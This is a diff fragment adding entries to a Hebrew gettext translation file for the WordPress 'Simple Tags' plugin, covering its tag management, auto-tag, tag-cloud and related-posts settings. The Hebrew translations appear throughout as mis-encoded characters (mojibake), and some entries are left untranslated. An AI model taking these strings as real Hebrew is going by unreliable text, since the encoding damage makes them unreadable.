+msgstr "×××××× ××¡×ª×××!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:207
+msgid "OK, so we lied about this being a 4-step program! You&#8217;re done!"
+msgstr "×××§××, ×× ×©××§×š× × ××§×©×š ××ª××× ××ª 4 ×©××××! ×¡×××× ×!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:208
+msgid "Now wasn&#8217;t that easy?"
+msgstr "×× ××× ×€×©××, ×× ?"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:209
+msgid "You can manage tags now !"
+msgstr "×¢××©×× × ××ª× ×× ×× ××ª ××ª××××ª!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:249
+#: WP.org\trunk/inc/simple-tags.admin.php:280
+msgid "Embedded Tags"
+msgstr "×ª××××ª ××©×××××ª ×××§×¡×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/extras/simple-tags.importer.php:249
+msgid "Import Embedded Tags into the new WordPress native tagging structure."
+msgstr "××××× ×ª××××ª ××©×××××ª ×××§×¡× ××ª×× ×× ×× ×× ××ª××××ª ××××© ×©× ×××š××€×š×¡"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:125
+msgid "Simple Tags"
+msgstr "Simple Tags"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:125
+msgid "Tags"
+msgstr "×ª××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:126
+#: WP.org\trunk/inc/simple-tags.admin.php:488
+msgid "Simple Tags: Manage Tags"
+msgstr "Simple Tags: × ×××× ×ª××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:126
+msgid "Manage Tags"
+msgstr "× ×××× ×ª××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:127
+#: WP.org\trunk/inc/simple-tags.admin.php:639
+msgid "Simple Tags: Mass Edit Tags"
+msgstr "Simple Tags: ×¢×š×××ª ×ª××××ª ×§×××Š×ª××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:127
+msgid "Mass Edit Tags"
+msgstr "×¢×š×××ª ×ª××××ª ×§×××Š×ª××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:128
+#: WP.org\trunk/inc/simple-tags.admin.php:177
+msgid "Simple Tags: Auto Tags"
+msgstr "Simple Tags: ×ª××××ª ×××××××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:128
+msgid "Auto Tags"
+msgstr "×ª××××ª ×××××××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:129
+#: WP.org\trunk/inc/simple-tags.admin.php:399
+msgid "Simple Tags: Options"
+msgstr "Simple Tags: ××€×©×š××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:129
+msgid "Options"
+msgstr "××€×©×š××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:157
+msgid "Auto tags options updated !"
+msgstr "××€×©×š××××ª ×ª××××ª ×××××××××ª ×¢×××× × !"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:181
+msgid "Auto tags list"
+msgstr "×š×©×××ª ×ª××××ª ×××××××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:182
+msgid "This feature allows Wordpress to look into post content and title for specified tags when saving posts. If your post content or title contains the word \"WordPress\" and you have \"wordpress\" in auto tags list, Simple Tags will add automatically \"wordpress\" as tag for this post."
+msgstr "×× ×× ×× ×× ×××€×©×š ××××š××€×š×¡ ×××××§ ××ª ×××ª×š×ª ××€××¡× ××ª××× × ××××€××© ×××š ×ª××××ª ×××× ×©×××š×ª ××€××¡×. ×× ××€××¡× ×××× ××ª ××××× \"×××š××€×š×¡\" ××¡××× ×ª ××ª ××ª×××ª \"×××š××€×š×¡\" ××ª××××ª ××××××××ª, ×× ××ª×××ª ×ª×ª×××¡×£ ××€××¡× ××××××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:186
+msgid "Active Auto Tags."
+msgstr "××€×¢××ª ×ª××××ª ×××××××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:188
+msgid "Keywords list: (separated with a comma)"
+msgstr "×š×©×××ª ×××××ª ××€×ª× (×××€×š××ª ××€×¡××§××):"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:192
+msgid "Update list &raquo;"
+msgstr "×¢×××× ×š×©××× &raquo;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:195
+msgid "Auto tags old content"
+msgstr "×ª××× ××××××× ×©× ×ª××× ××©×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:196
+msgid "Simple Tags can also tag all existing contents of your blog. This feature use auto tags list above-mentioned."
+msgstr "×××¢×š××ª ××××× ××ª××× ××ª ×× ×ª××× ××××× ×©××. ×¢× ××× ×©××××© ××× ×× ×× ××ª××× ×××××××× ××××××š ×××¢××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:197
+msgid "Auto tags all content"
+msgstr "×ª××× ××××××× ×©× ×× ××ª×××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:238
+msgid "All done!"
+msgstr "×¡××××ª×!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:254
+msgid "General"
+msgstr "××××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:255
+msgid "Include page in tag search:"
+msgstr "×××××ª ×¢××××× ××××€××© ×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:256
+msgid "This feature need that option \"Add page in tags management\" is enabled."
+msgstr "×× ×× ×× ×× ××Š×š×× ×©×××€×©×š××ª \"×××¡×€×ª ××€×× ×× ××××ª ××ª××××ª\" ×ª×¡×××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:257
+msgid "Allow tag cloud in post/page content:"
+msgstr "×××¡×€×ª ×¢× × ×ª××××ª ××ª××× ×€××¡× ×× ×¢×××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:258
+msgid "Enabling this will allow Wordpress to look for tag cloud marker <code><!--st_tag_cloud--></code> when displaying posts. WP replace this marker by a tag cloud."
+msgstr "××€×¢××ª ××€×©×š××ª ×× ×ª××€×©×š ××××š××€×š×¡ ×××€×© ××ª ×¡×× ×¢× × ××ª××××ª <code><!--st_tag_cloud--></code> ×××Š××ª ×€××¡×××. ×××š××€×š×¡ ×××××£ ××ª ××¡×××× ××¢× × ×ª××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:259
+msgid "Active auto link tags into post content:"
+msgstr "××€×¢××ª ×ª××××ª ×××××××××ª ××ª××× ×€××¡×××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:260
+msgid "Example: You have a tag called \"WordPress\" and your post content contains \"wordpress\", this feature will replace \"wordpress\" by a link to \"wordpress\" tags page. (http://myblog.net/tag/wordpress/)"
+msgstr "××××××: ××© ×× ×ª×××ª ××©× \"×××š××€×š×¡\" ××ª××× ××€××¡× ×××× ××ª ××××× \" ×××š××€×š×¡\", ×× ×× ×× ×× ×××××£ ××ª  ××××× ××§××©××š ××¢××× ××ª×××ª. (http://myblog.net/tag/×××š××€×š×¡/)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:262
+msgid "Administration"
+msgstr "× ××××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:263
+msgid "Add page in tags management:"
+msgstr "×××¡×€×ª ×¢××× ×× ×××× ×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:264
+msgid "Add a tag input (and tag posts features) in page edition"
+msgstr "×××¡×€×ª ×©×× ××× ×¡×ª ×ª×××ª (×××€×©×š××××ª ×ª××××ª) ××××¡×€×ª ×¢×××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:265
+msgid "Maximum number of suggested tags:"
+msgstr "××¡×€×š ×××š×× ×©× ×ª××××ª ×××Š×¢××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:266
+msgid "The maximum number of tags displayed under <em>Write</em>. Zero (0) means no limit and shows all tags."
+msgstr "××¡×€×š ××ª××××ª ××××š×× ××××Š× ×ª××ª <em>××ª×××</em>. ××€×¡ (0) ××©××¢× ××× ××××× ×××Š×× ××ª ×× ××ª××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:267
+msgid "Display suggested tags only:"
+msgstr "××Š××ª ×ª××××ª ×××××Š××ª ××××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:268
+msgid "Displays suggested tags only instead of all tags. Tags will be suggested if they are part of the post."
+msgstr "××Š××ª ×ª××××ª ×××Š×¢××ª ×š×§ ×××§×× ×× ××ª××××ª. ×ª××××ª ×××Š×¢× ×š×§ ×× ×× ×××§ ×××€××¡×."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:269
+msgid "Tag cloud sort order:"
+msgstr "×¡××š ×××× ×¢× × ×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:271
+msgid "<code>Alpha</code> &ndash; alphabetic order."
+msgstr "<code>Alpha</code> &ndash; ×¡××š ×××€×××ª×."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:272
+msgid "<code>Popular</code> &ndash; most popular tags first."
+msgstr "<code>Popular</code> &ndash; ××€× ×¡××š ×€××€×××š×××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:275
+msgid "Meta Keyword"
+msgstr "×ª××××ª ×××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:276
+msgid "Automatically include in header:"
+msgstr "×××× ××××××××ª ××××š:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:277
+msgid "Includes the meta keywords tag automatically in your header (most, but not all, themes support this). These keywords are sometimes used by search engines."
+msgstr "××××× ××× ×ª××××ª ××××××××ª ××××š (×š×× ××× ×× ×× ××ª×× ×××ª ×ª×××××ª(. ×××××ª ××€×ª× ××× ××¢××ª×× ××©××©××ª ×× ××¢× ×××€××©."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:278
+msgid "Always add these keywords:"
+msgstr "×ª××× ××××¡××£ ××ª ××ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:281
+msgid "Use embedded tags:"
+msgstr "×©××××© ××ª××××ª ×××××¢××ª ×××§×¡×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:282
+msgid "Enabling this will allow Wordpress to look for embedded tags when saving and displaying posts. Such set of tags is marked <code>[tags]like this, and this[/tags]</code>, and is added to the post when the post is saved, but does not display on the post."
+msgstr "××€×¢××ª ×× ×× ×× ×× ×ª××€×©×š ××××š××€×š×¡ ×××€×© ×ª××××ª ×××× ××ª ×××§×¡× ××©×××š× ××××Š××ª ×€××¡×××. ×ª××××ª ×××× ××ª ×××§×¡× ××¡××× ××ª<code>[tags]××Š××š× ×××[/tags]</code>, ××××¡×€××ª ××€××¡× ×××©×š ××× × ×©××š, ××× ×× ×××Š×××ª ××€××¡×."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:283
+msgid "Prefix for embedded tags:"
+msgstr "×ª×××××ª ××ª××××ª ×××××¢××ª ×××§×¡×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:284
+msgid "Suffix for embedded tags:"
+msgstr "×¡××€××ª ××ª××××ª ×××××¢××ª ×××§×¡×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:286
+msgid "Tags for Current Post"
+msgstr "×ª××××ª ××€××¡× ×× ××××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:287
+msgid "Automatically display tags list into feeds"
+msgstr "×××¡×€×ª ×š×©×××ª ××ª××××ª ××××××××ª ××¢×š××¥ ×-RSS"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:288
+msgid "Automatically display tags list into post content:"
+msgstr "×××¡×€× ××××××××ª ×©× ×š×©×××ª ××ª××××ª ××¢××× ×× ×€××¡×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:290
+#: WP.org\trunk/inc/simple-tags.admin.php:309
+msgid "<code>no</code> &ndash; Nowhere (default)"
+msgstr "<code>No</code> &ndash; ××©×× ××§××(××š××š×ª ××××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:291
+#: WP.org\trunk/inc/simple-tags.admin.php:310
+msgid "<code>all</code> &ndash; On your blog and feeds."
+msgstr "<code>All</code> &ndash; ××××× ×××¢×š××¥ ×-RSS."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:292
+#: WP.org\trunk/inc/simple-tags.admin.php:311
+msgid "<code>blogonly</code> &ndash; Only on your blog."
+msgstr "<code>blogonly</code> &ndash; ×š×§ ×××××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:293
+#: WP.org\trunk/inc/simple-tags.admin.php:312
+msgid "<code>homeonly</code> &ndash; Only on your home page."
+msgstr "<code>homeonly</code> &ndash; ×š×§ ×××£ ××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:294
+#: WP.org\trunk/inc/simple-tags.admin.php:313
+msgid "<code>singularonly</code> &ndash; Only on your singular view (single & page)."
+msgstr "<code>singularonly</code> &ndash; ×š×§ ×××€×× ×€× ××××× (×¢××××× ××€××¡×××)."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:295
+#: WP.org\trunk/inc/simple-tags.admin.php:314
+msgid "<code>singleonly</code> &ndash; Only on your single view."
+msgstr "<code>singleonly</code> &ndash; ×š×§ ××Š×€××× ××€××¡× ××××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:296
+#: WP.org\trunk/inc/simple-tags.admin.php:315
+msgid "<code>pageonly</code> &ndash; Only on your page view."
+msgstr "<code>×¢×××</code> &ndash; ×š×§ ××Š×€×× ××¢×××××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:298
+msgid "Post tag separator string:"
+msgstr "×××š×××ª ××€×š×× ××× ×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:299
+msgid "Text to display before tags list:"
+msgstr "××§×¡× ×××Š×× ××€× × ×š×©×××ª ××ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:300
+msgid "Text to display after tags list:"
+msgstr "××§×¡× ×××Š×× ×××š× ×š×©×××ª ××ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:301
+msgid "Text to display if no tags found:"
+msgstr "××§×¡× ×××§×š× ×©××× ×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:302
+#: WP.org\trunk/inc/simple-tags.admin.php:330
+#: WP.org\trunk/inc/simple-tags.admin.php:368
+msgid "<strong>Advanced usage</strong>:"
+msgstr "<strong>×©××××© ××ª×§××</strong>:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:303
+msgid "You can use the same syntax as <code>st_the_tags()</code> function to customize display. See <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags#advanced-usage\">documentation</a> for more details."
+msgstr "× ××ª× ×××©×ª××© ××××ª× ××× × ××× ×©× ××€×× ×§×Š××  <code>st_the_tags()</code> ××× ××©× ××ª ××ª ××ª×Š×××. ×š×× <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags#advanced-usage\">×ª××¢××</a> ××€×š××× × ××¡×€××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:305
+msgid "Related Posts"
+msgstr "×€××¡××× ×§×©××š××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:306
+msgid "Automatically display related posts into feeds"
+msgstr "××Š×× ××××××××ª ×©× ×€××¡××× ×§×©××š×× ××¢×š××¥ ×-RSS"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:307
+msgid "Automatically display related posts into post content"
+msgstr "××Š×× ××××××××ª ×©× ×€××¡××× ×§×©××š×× ××ª××× ××€××¡×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:317
+msgid "Related Posts Order:"
+msgstr "×¡××š ×€××¡××× ×§×©××š××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:319
+msgid "<code>date-asc</code> &ndash; Older Entries."
+msgstr "<code>×ª××š××-×¢×××</code> &ndash;×€××¡××× ××©× ×× ×××ª×š."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:320
+msgid "<code>date-desc</code> &ndash; Newer Entries."
+msgstr "<code>×ª××š××-×××š×</code> &ndash; ×€××¡××× ×××©×× ×××ª×š."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:321
+msgid "<code>count-asc</code> &ndash; Least common tags between posts"
+msgstr "<code>×¡×€××š×-×¢×××</code> &ndash; ××ª××××ª ××× ×€×××ª ××©××××©"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:322
+msgid "<code>count-desc</code> &ndash; Most common tags between posts (default)"
+msgstr "<code>×¡×€××š×-×××š×</code> &ndash; ××ª××××ª ×©××× ××©××××© (××š××š×ª ××××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:323
+#: WP.org\trunk/inc/simple-tags.admin.php:345
+#: WP.org\trunk/inc/simple-tags.admin.php:353
+msgid "<code>name-asc</code> &ndash; Alphabetical."
+msgstr "<code>×©×-×¢×××</code> &ndash; ×××€×××ª×."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:324
+#: WP.org\trunk/inc/simple-tags.admin.php:346
+#: WP.org\trunk/inc/simple-tags.admin.php:354
+msgid "<code>name-desc</code> &ndash; Inverse Alphabetical."
+msgstr "<code>×©×-×××š×</code> &ndash; ×××€×××ª× ××€××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:325
+#: WP.org\trunk/inc/simple-tags.admin.php:347
+msgid "<code>random</code> &ndash; Random."
+msgstr "<code>××§×š××</code> &ndash; ××§×š××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:327
+msgid "Maximum number of related posts to display: (default: 5)"
+msgstr "××¡×€×š ×××š×× ×©× ×€××¡××× ×§×©××š×× ×××Š××: (××š××š×ª ××××: 5)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:328
+msgid "Enter the text to show when there is no related post:"
+msgstr "×××§×¡× ×©×××Š× ×××©×š ××× ×€××¡××× ×§×©××š××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:329
+#: WP.org\trunk/inc/simple-tags.admin.php:359
+msgid "Enter the positioned title before the list, leave blank for no title:"
+msgstr "××××ª×š×ª ×©××€× × ××š×©×××, × ××ª× ×××©×××š ×š××§:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:331
+msgid "You can use the same syntax as <code>st_related_posts()</code>function to customize display. See <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags#advanced-usage\">documentation</a> for more details."
+msgstr "× ××ª× ×××©×ª××© ××××ª× ××× × ××× ×©× ××€×× ×§×Š××  <code>st_related_posts()</code> ××× ××©× ××ª ××ª ××ª×Š×××. ×š×× <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags#advanced-usage\">×ª××¢××</a> ××€×š××× × ××¡×€××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:333
+msgid "Tag cloud"
+msgstr "×¢× × ×ª××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:334
+msgid "Which difference between <strong>&#8216;Order tags selection&#8217;</strong> and <strong>&#8216;Order tags display&#8217;</strong> ?<br />"
+msgstr ""
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:336
+msgid "<strong>&#8216;Order tags selection&#8217;</strong> is the first step during tag's cloud generation, corresponding to collect tags."
+msgstr ""
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:337
+msgid "<strong>&#8216;Order tags display&#8217;</strong> is the second. Once tags choosen, you can reorder them before display."
+msgstr ""
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:339
+msgid "<strong>Example:</strong> You want display randomly the 100 tags most popular.<br />"
+msgstr "<strong>×××××:</strong> ××š×Š×× × ×××Š×× ××§×š×××ª ××ª 100 ××€××¡××× ××€××€×××š×××.<br />"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:340
+msgid "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+msgstr "You must set &#8216;Order tags selection&#8217; to <strong>count-desc</strong> for retrieve the 100 tags most popular and &#8216;Order tags display&#8217; to <strong>random</strong> for randomize cloud."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:341
+msgid "Order tags selection:"
+msgstr "×¡××š ××××š×ª ×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:343
+#: WP.org\trunk/inc/simple-tags.admin.php:351
+msgid "<code>count-asc</code> &ndash; Least used."
+msgstr "<code>×¡×€××š×-×¢×××</code> &ndash; ××× ×€×××ª ××©××××©."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:344
+msgid "<code>count-desc</code> &ndash; Most popular. (default)"
+msgstr "<code>×¡×€××š× ×××š×</code> &ndash; ××× ××š×× ××©××××©. (××š××š×ª ××××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:349
+#: WP.org\trunk/inc/simple-tags.widgets.php:165
+msgid "Order tags display:"
+msgstr "×¡××š ××Š××ª ×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:352
+msgid "<code>count-desc</code> &ndash; Most popular."
+msgstr "<code>×¡×€××š× ×××š×</code> &ndash; ××× ××š×× ××©××××©."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:355
+msgid "<code>random</code> &ndash; Random. (default)"
+msgstr "<code>××§×š××</code> &ndash; ××§×š××. (××š××š×ª ××××)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:357
+msgid "Maximum number of tags to display: (default: 45)"
+msgstr "××¡×€×š ×××š×× ×©× ×ª××××ª ×××Š××: (××š××š×ª ××××: 45)"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:358
+msgid "Enter the text to show when there is no tag:"
+msgstr "×××§×¡× ×©×××Š× ××©××× ×ª××××ª:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:360
+msgid "Most popular color:"
+msgstr "×Š××¢ ×¢×××š ××× ×€××€×××š×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:361
+msgid "The colours are hexadecimal colours,  and need to have the full six digits (#eee is the shorthand version of #eeeeee)."
+msgstr "××Š××¢×× ×× ××ª×Š××× ××§×¡××Š×××××ª,  ×××Š×š×××× ××× × ×©×© ×¡×€×š××ª (#eee ××× ×§××Š××š ×©× #eeeeee)."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:362
+msgid "Least popular color:"
+msgstr "×Š××¢ ×¢×××š ××× ×€×××ª ×€××€×××š×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:363
+msgid "Most popular font size:"
+msgstr "×××× ×€×× × ×¢×××š ××× ×€××€×××š×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:364
+msgid "The two font sizes are the size of the largest and smallest tags."
+msgstr "×©× × ×××× ××€×× × ×× ×©× ××××× ×××§×× ××¢× × ××ª××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:365
+msgid "Least popular font size:"
+msgstr "×××× ×€×× × ×¢×××š ××× ×€×××ª ×€××€×××š×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:366
+msgid "The units to display the font sizes with, on tag clouds:"
+msgstr "×××××××ª ××©××××© ××××× ××€×× × ×¢×××š ×¢× × ×ª××××:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:367
+msgid "The font size units option determines the units that the two font sizes use."
+msgstr "××××××ª ××× ×§×××¢××ª ××ª ×××××××ª ×©× ×××× ××€×× × ××¢× × ××ª××××ª."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:369
+msgid "You can use the same syntax as <code>st_tag_cloud()</code> function to customize display. See <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags#advanced-usage\">documentation</a> for more details."
+msgstr "× ××ª× ×××©×ª××© ××××ª× ×××× × ××× ×€×× ×§×Š×××ª <code>st_tag_cloud()</code> ××× ××©× ××ª ××ª ××ª×Š×××. ×š×× <a href=\"http://www.herewithme.fr/wordpress-plugins/simple-tags#advanced-usage\">×ª××¢××</a> ××€×š××× × ××¡×€××."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:382
+msgid "Options saved"
+msgstr "××€×©×š××××ª × ×©××š×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:387
+msgid "Simple Tags options resetted to default options!"
+msgstr "×××€×©×š××××ª ×××€×¡× ×××š××š×ª ×××××!"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:403
+#: WP.org\trunk/inc/simple-tags.admin.php:407
+msgid "Update Options &raquo;"
+msgstr "×¢×××× ××€×©×š××××ª &raquo;"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:404
+#: WP.org\trunk/inc/simple-tags.admin.php:408
+msgid "Do you really want to restore the default options?"
+msgstr "××× ××××ª ×××€×¡ ××ª ×××€×©×š××××ª?"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:404
+#: WP.org\trunk/inc/simple-tags.admin.php:408
+msgid "Reset Options"
+msgstr "×××€××¡ ××€×©×š××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:428
+#: WP.org\trunk/inc/simple-tags.admin.php:1537
+msgid "Security problem. Try again. If this problem persist, contact <a href=\"mailto:amaury@wordpress-fr.net\">plugin author</a>."
+msgstr "××¢××ª ×××××. × ×¡× ×©××. ×× ×××¢×× ××××š×ª, ××© ×××Š××š ×§×©×š ×¢× <a href=\"mailto:amaury@wordpress-fr.net\">×××ª× ××ª××¡×£</a>."
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:454
+#: WP.org\trunk/inc/simple-tags.widgets.php:169
+msgid "Most popular"
+msgstr "××× ×€××€×××š×××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:454
+#: WP.org\trunk/inc/simple-tags.widgets.php:159
+#: WP.org\trunk/inc/simple-tags.widgets.php:170
+msgid "Least used"
+msgstr "××× ×€×××ª ××©××××©"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:454
+#: WP.org\trunk/inc/simple-tags.widgets.php:156
+#: WP.org\trunk/inc/simple-tags.widgets.php:167
+msgid "Alphabetical"
+msgstr "×××€×××ª×"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:460
+msgid "Sort Order:"
+msgstr "×¡××š ××€×:"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:476
+msgid "Term ID"
+msgstr "×××× ×××××"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:476
+#, php-format
+msgid "View all posts tagged with %s"
+msgstr "View all posts tagged with %s"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:493
+msgid "Existing Tags"
+msgstr "×ª××××ª ×§×××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:499
+msgid "Rename Tag"
+msgstr "×©×× ×× ×©× ×ª××××ª"
+
+#: C:\SVN\ST
+#: WP.org\trunk/inc/simple-tags.admin.php:500
